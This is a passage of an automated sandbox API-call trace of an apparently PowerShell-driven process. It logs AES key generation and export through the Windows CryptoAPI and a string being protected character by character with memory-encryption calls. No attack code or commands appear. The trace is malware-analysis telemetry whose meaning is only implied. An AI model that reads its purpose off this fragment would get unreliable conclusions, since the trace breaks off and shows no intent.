GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0230.192] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2419854*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2419854*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0230.192] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0230.193] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0230.194] EtwEventActivityIdControl () returned 0x0 [0230.194] EtwEventActivityIdControl () returned 0x0 [0230.194] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.195] EtwEventActivityIdControl () returned 0x0 [0230.195] EtwEventActivityIdControl () returned 0x0 [0230.195] EtwEventActivityIdControl () returned 0x0 [0230.197] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.197] EtwEventActivityIdControl () returned 0x0 [0230.197] EtwEventActivityIdControl () returned 0x0 [0230.197] EtwEventActivityIdControl () returned 0x0 [0230.199] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cff0) returned 1 [0230.200] CryptGenKey (in: hProv=0x5c4cff0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c998a0) returned 1 [0230.200] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0230.201] CryptExportKey (in: hKey=0x5c998a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0230.201] CryptExportKey (in: hKey=0x5c998a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x242122c, pdwDataLen=0x5a2e8c4 | out: pbData=0x242122c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0230.201] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.201] EtwEventActivityIdControl () returned 0x0 [0230.201] EtwEventActivityIdControl () returned 0x0 [0230.201] EtwEventActivityIdControl () returned 0x0 [0230.202] SysStringLen (param_1="") returned 0x8 [0230.202] SysStringLen (param_1="e") returned 0x8 [0230.202] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.202] SysStringLen (param_1="隢垳뀠氻猯梡ռ") returned 0x8 [0230.202] SysStringLen (param_1="隢垳뀠氻猯梡ռ") returned 0x8 [0230.202] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.203] SysStringLen (param_1="ec") returned 0x8 [0230.203] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.203] SysStringLen (param_1="⌤秦閃篝繚") returned 0x8 [0230.203] SysStringLen (param_1="⌤秦閃篝繚") returned 0x8 [0230.203] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.203] SysStringLen (param_1="ec/") returned 0x8 [0230.203] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.203] SysStringLen (param_1="ﵱ岨칸뽍창\赖∦) returned 0x8 [0230.203] SysStringLen (param_1="ﵱ岨칸뽍창\赖∦) returned 0x8 [0230.203] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.203] SysStringLen (param_1="ec/A") returned 0x8 [0230.203] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.204] SysStringLen (param_1="핅\x0e뷃씩镂元") returned 0x8 [0230.204] SysStringLen (param_1="핅\x0e뷃씩镂元") returned 0x8 [0230.204] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.204] SysStringLen (param_1="ec/AV") returned 0x8 [0230.204] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.204] SysStringLen (param_1="䵌ꉸ츞ⱗ쨝쳽쵣슥") returned 0x8 [0230.204] SysStringLen (param_1="䵌ꉸ츞ⱗ쨝쳽쵣슥") returned 0x8 [0230.204] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.204] SysStringLen (param_1="ec/AV9") returned 0x8 [0230.204] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.204] SysStringLen (param_1="ᜤᩍ緓䔿哑୥") returned 0x8 [0230.204] SysStringLen (param_1="ᜤᩍ緓䔿哑୥") returned 0x8 [0230.204] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.205] SysStringLen (param_1="ec/AV9h") returned 0x8 [0230.205] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.205] SysStringLen (param_1="㮲外炡馪濟籭㏖瑭") returned 0x8 [0230.205] SysStringLen (param_1="㮲外炡馪濟籭㏖瑭") returned 0x8 [0230.205] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.205] SysStringLen (param_1="ec/AV9hG") returned 0x8 [0230.205] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.205] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴") returned 0x8 [0230.205] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴") returned 0x8 [0230.205] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴") returned 0x8 [0230.206] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴") returned 0x10 [0230.206] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.206] SysStringLen (param_1="ec/AV9hGU嫚䟘饉෋샻㊇⻞") returned 0x10 [0230.206] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.206] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴귀旌릑쿃⡤榛폁能") returned 0x10 [0230.206] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴귀旌릑쿃⡤榛폁能") returned 0x10 [0230.206] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.207] SysStringLen (param_1="ec/AV9hGUb䟘饉෋샻㊇⻞") returned 0x10 [0230.207] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.207] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴抍\쓛ஸ\῝죊金") returned 0x10 [0230.207] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴抍\쓛ஸ\῝죊金") returned 0x10 [0230.207] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.207] SysStringLen (param_1="ec/AV9hGUbA饉෋샻㊇⻞") returned 0x10 [0230.207] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.207] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴ݖꈳ神ꆿ໵⍺쩴") returned 0x10 [0230.207] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴ݖꈳ神ꆿ໵⍺쩴") returned 0x10 [0230.207] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.207] SysStringLen (param_1="ec/AV9hGUbAp෋샻㊇⻞") returned 0x10 [0230.207] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.207] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴䲧ᶾ⤅턨麖뵟酅ꠐ") returned 0x10 [0230.207] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴䲧ᶾ⤅턨麖뵟酅ꠐ") returned 0x10 [0230.207] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.208] SysStringLen (param_1="ec/AV9hGUbApv샻㊇⻞") returned 0x10 [0230.208] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.208] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴ᱰ䆅඿띧ꇋ䮖䮌稿") returned 0x10 [0230.208] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴ᱰ䆅඿띧ꇋ䮖䮌稿") returned 0x10 [0230.208] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.208] SysStringLen (param_1="ec/AV9hGUbApvx㊇⻞") returned 0x10 [0230.208] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.208] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴蔮긙䨅豆㴒變迄") returned 0x10 [0230.208] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴蔮긙䨅豆㴒變迄") returned 0x10 [0230.208] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.208] SysStringLen (param_1="ec/AV9hGUbApvxp⻞") returned 0x10 [0230.208] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.209] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴ʿ學괝Ί뚅\\鿟") returned 0x10 [0230.209] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴ʿ學괝Ί뚅\\鿟") returned 0x10 [0230.209] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.209] SysStringLen (param_1="ec/AV9hGUbApvxpT") returned 0x10 [0230.209] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.209] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟") returned 0x10 [0230.209] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟") returned 0x10 [0230.210] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟") returned 0x10 [0230.210] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟") returned 0x18 [0230.210] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.210] SysStringLen (param_1="ec/AV9hGUbApvxpT9䖙鹬⮧퇕㜌뼸픤") returned 0x18 [0230.210] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.210] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟뇮㩧욡䤦⁝ᘐ蚁") returned 0x18 [0230.210] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟뇮㩧욡䤦⁝ᘐ蚁") returned 0x18 [0230.210] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.210] SysStringLen (param_1="ec/AV9hGUbApvxpT9R鹬⮧퇕㜌뼸픤") returned 0x18 [0230.210] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.211] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ꯌ蚳鰔褳䣴๓讫顁") returned 0x18 [0230.211] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ꯌ蚳鰔褳䣴๓讫顁") returned 0x18 [0230.211] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.211] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro⮧퇕㜌뼸픤") returned 0x18 [0230.211] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.211] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟슡酷꤯ʠⷻ원䙱") returned 0x18 [0230.211] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟슡酷꤯ʠⷻ원䙱") returned 0x18 [0230.211] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.211] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/퇕㜌뼸픤") returned 0x18 [0230.211] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.211] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟઱菍淥܄ꈪ㖁䏽") returned 0x18 [0230.211] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟઱菍淥܄ꈪ㖁䏽") returned 0x18 [0230.211] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.212] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/x㜌뼸픤") returned 0x18 [0230.212] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.212] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟䍴哄﵅㪌ꣶ涎䓹") returned 0x18 [0230.212] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟䍴哄﵅㪌ꣶ涎䓹") returned 0x18 [0230.212] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.212] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz뼸픤") returned 0x18 [0230.212] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.212] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟쾼෵㦂\չਈ⋞) returned 0x18 [0230.212] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟쾼෵㦂\չਈ⋞) returned 0x18 [0230.212] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.212] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9픤") returned 0x18 [0230.212] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.212] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟売鴔箇᰺㬾쥈碞橪") returned 0x18 [0230.212] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟売鴔箇᰺㬾쥈碞橪") returned 0x18 [0230.213] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.213] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9F") returned 0x18 [0230.213] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.213] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠") returned 0x18 [0230.213] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠") returned 0x18 [0230.213] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠") returned 0x18 [0230.213] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠") returned 0x20 [0230.213] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.214] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FG寷民痷秣੘敒遛") returned 0x20 [0230.214] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.214] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠Დ㴻斞⭉鳾庒὞") returned 0x20 [0230.214] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠Დ㴻斞⭉鳾庒὞") returned 0x20 [0230.214] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.214] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGa民痷秣੘敒遛") returned 0x20 [0230.214] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.214] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠늫獶붺툿쬍ऴ䣧ꋳ") returned 0x20 [0230.214] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠늫獶붺툿쬍ऴ䣧ꋳ") returned 0x20 [0230.214] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.214] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGay痷秣੘敒遛") returned 0x20 [0230.214] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.215] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠\䛘ꟼ뢈ꚳ≖) returned 0x20 [0230.215] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠\䛘ꟼ뢈ꚳ≖) returned 0x20 [0230.215] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.215] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGayg秣੘敒遛") returned 0x20 [0230.215] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.215] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠剨摇凊氫蓄뚚ᥢ濁") returned 0x20 [0230.215] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠剨摇凊氫蓄뚚ᥢ濁") returned 0x20 [0230.215] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.215] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygS੘敒遛") returned 0x20 [0230.215] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.215] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠봠늨鳈㧪軚፞汄\⋛) returned 0x20 [0230.215] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠봠늨鳈㧪軚፞汄\⋛) returned 0x20 [0230.215] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.216] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSs敒遛") returned 0x20 [0230.216] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.216] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠놸곖﶐馨렞己갟짥") returned 0x20 [0230.216] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠놸곖﶐馨렞己갟짥") returned 0x20 [0230.216] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.216] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc遛") returned 0x20 [0230.216] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.216] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠搚ො羟盶硉싱‮") returned 0x20 [0230.216] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠搚ො羟盶硉싱‮") returned 0x20 [0230.216] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.216] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9") returned 0x20 [0230.216] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.217] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇") returned 0x20 [0230.217] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇") returned 0x20 [0230.217] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇") returned 0x20 [0230.217] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇") returned 0x28 [0230.217] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.217] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9Uᄕ诞얏瞿？菁綼") returned 0x28 [0230.217] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.217] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇㚢匔ㄭ刽ᖂ\௞碼∉) returned 0x28 [0230.218] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇㚢匔ㄭ刽ᖂ\௞碼∉) returned 0x28 [0230.218] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.218] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UY诞얏瞿？菁綼") returned 0x28 [0230.218] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.218] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇辭\烘誳麿䕹呚濡⋶) returned 0x28 [0230.218] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇辭\烘誳麿䕹呚濡⋶) returned 0x28 [0230.218] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.218] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UYj얏瞿？菁綼") returned 0x28 [0230.218] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.218] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇ě籽䓟캺鞺袾\᳙∫) returned 0x28 [0230.218] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇ě籽䓟캺鞺袾\᳙∫) returned 0x28 [0230.218] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.219] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UYjH瞿？菁綼") returned 0x28 [0230.219] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.219] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇ﬞ㸀䠗ꪇ舷붴팏쁷") returned 0x28 [0230.219] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇ﬞ㸀䠗ꪇ舷붴팏쁷") returned 0x28 [0230.219] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.219] SysStringLen (param_1="ec/AV9hGUbApvxpT9Ro/xz9FGaygSsc9UYjH+？菁綼") returned 0x28 [0230.219] SystemFunction040 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.219] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇͛⥡猼骯ꙏﷁ桢㍆") returned 0x28 [0230.219] SysStringLen (param_1="⬁扏ケ⎇蘤的䇴纭紌酩娺腳챋᠟ᬆ换᭸켹밧ᘡ嵠밭⦀ﲷ罁ﱐ䥠낇͛⥡猼骯ꙏﷁ桢㍆") returned 0x28 [0230.219] SystemFunction041 (in: Memory=0x5c9270c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9270c) returned 0x0 [0230.219] SysStringLen 